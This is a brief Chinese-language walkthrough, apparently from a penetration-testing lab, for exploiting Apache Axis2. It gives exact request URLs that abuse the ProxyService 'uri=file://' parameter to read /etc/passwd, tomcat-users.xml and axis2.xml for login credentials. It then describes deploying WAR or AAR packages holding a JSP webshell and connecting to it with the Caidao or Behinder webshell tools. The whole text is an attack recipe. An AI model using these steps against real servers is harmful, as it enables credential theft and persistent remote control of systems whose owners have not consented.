Axis2是Apache Foundation的一個項目，它允許開發人員用C和Java創建Web服務。
默認情況下，Axis2部署在/axis2/（當開發人員使用時axis2.war）
漏洞利用
遍歷漏洞
1、訪問axis路徑下
2訪問http://192.168.227.140/axis2/services/ProxyService/get?uri=file:///etc/tomcat6/tomcat-users.xml
http://192.168.227.140/axis2/services/ProxyService/get?uri=file:///etc/passwd等敏感路徑找到tomcat登錄賬號密碼
3、猜解tomcat管理路徑（/tomcat/html），並部署war包（jsp），使其成功解析，並訪問根目錄（IP/shell/shell.jsp）
4.成功使用菜刀或冰蟹連接
二、檢索Axis2配置以獲取登錄憑據
1、axis2配置文件axis2.xml具有默認位置：/var/lib/tomcat6/webapps/axis2/WEB-INF/conf/axis2.xml（http://192.168.227.140/axis2/services/ProxyService/get?uri=file:////var/lib/tomcat6/webapps/axis2/WEB-INF/conf/axis2.xml）
利用遍歷漏洞檢索axis2的賬號密碼
2、訪問axis2的管理頁面
使用賬號密碼登錄，部署war包
此處需要部署aar包，上傳后被成功解析